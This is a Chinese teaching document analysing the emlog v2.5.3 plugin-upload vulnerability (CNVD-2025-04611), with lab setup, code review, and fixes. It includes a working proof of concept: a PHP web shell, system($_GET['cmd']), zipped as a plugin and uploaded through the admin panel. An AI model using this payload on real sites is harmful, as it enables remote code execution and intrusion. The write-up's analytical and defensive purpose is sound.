emlog文件上传漏洞分析(CNVD-2025-04611)教学文档

漏洞概述

漏洞名称: emlog文件上传漏洞
CNVD编号: CNVD-2025-04611
影响版本: emlog v2.5.3
漏洞类型: 文件上传导致远程代码执行
风险等级: 高危
漏洞描述: emlog v2.5.3版本的admin/plugin.php插件组件对上传的文件缺少有效验证，攻击者可利用该漏洞上传恶意文件从而远程执行任意代码。

环境搭建

下载安装

1. 从官网下载受影响版本: emlog_pro_2.5.3.zip
2. 使用phpstudy搭建环境
3. 解压源码到WWW目录
4. 设置域名(示例使用emlog.com)
5. 访问网站并输入数据库信息完成安装

后台访问

安装成功后，通过后台登录页面进入管理系统

漏洞复现步骤

1. 准备恶意文件:

   • 创建一个名为shell的文件夹
   • 在文件夹内创建shell.php文件，内容为<?php phpinfo(); ?>
   • 将shell文件夹压缩为ZIP文件

2. 上传恶意插件:

   • 登录后台
   • 点击"安装插件"功能
   • 上传准备好的ZIP文件
   • 系统提示"插件安装成功"

3. 验证漏洞:

   • 访问URL: /content/plugins/shell/shell.php
   • 成功回显phpinfo页面，证明漏洞存在

代码分析

漏洞文件路径

admin/plugin.php

关键代码分析

1. 上传条件判断:

   if ($action == 'upload_zip') {
       // 上传处理逻辑
   }
   

2. 文件上传检测:

   $zipfile = isset($_FILES['pluzip']) ? $_FILES['pluzip'] : '';
   

3. Token验证:

   LoginAuth::checkToken();
   

4. 解压处理:

   emUnZip($zipfile['tmp_name'], '../content/plugins/', 'plugin');
   

5. 解压函数关键逻辑:

   • 获取ZIP文件中第一个文件的名称并分割:

     $r = explode('/', $zip->getNameIndex(0), 2);
     

   • 检查插件主文件是否存在:

     $re = $zip->getFromName($dir . $plugin_name . '.php');
     

   • 解压到目标目录:

     if (true === @$zip->extractTo($path)) {
         $zip->close();
         return 0;
     }
     

漏洞成因

1. 系统未对上传的ZIP文件内容进行有效验证
2. 仅要求ZIP内包含文件夹+文件结构，但未限制文件类型
3. 解压后文件直接存储在可访问的插件目录中
4. 缺乏对PHP等可执行文件的过滤机制

漏洞利用(POC)

1. 构造恶意ZIP文件结构:

   shell/
   └── shell.php
   

2. shell.php内容示例:

   <?php
   // 任意PHP代码，如:
   system($_GET['cmd']);
   ?>
   

3. 上传后访问路径:
   /content/plugins/shell/shell.php

修复建议

1. 文件内容验证:

   • 对上传的ZIP文件内容进行严格检查
   • 禁止包含PHP等可执行文件

2. 文件类型限制:

   • 限制只能上传特定类型的插件文件
   • 检查文件扩展名和MIME类型

3. 目录权限控制:

   • 设置插件目录不可执行PHP文件
   • 使用.htaccess或nginx配置限制

4. 升级建议:

   • 升级到最新版本emlog
   • 关注官方安全公告

5. 其他安全措施:

   • 实现文件内容扫描机制
   • 对上传文件进行重命名
   • 设置文件上传大小限制

总结

该漏洞利用emlog系统插件上传功能缺乏有效文件验证的缺陷，允许攻击者上传包含恶意PHP代码的ZIP文件，导致远程代码执行。开发人员应加强对上传文件的验证机制，同时管理员应及时更新系统到安全版本。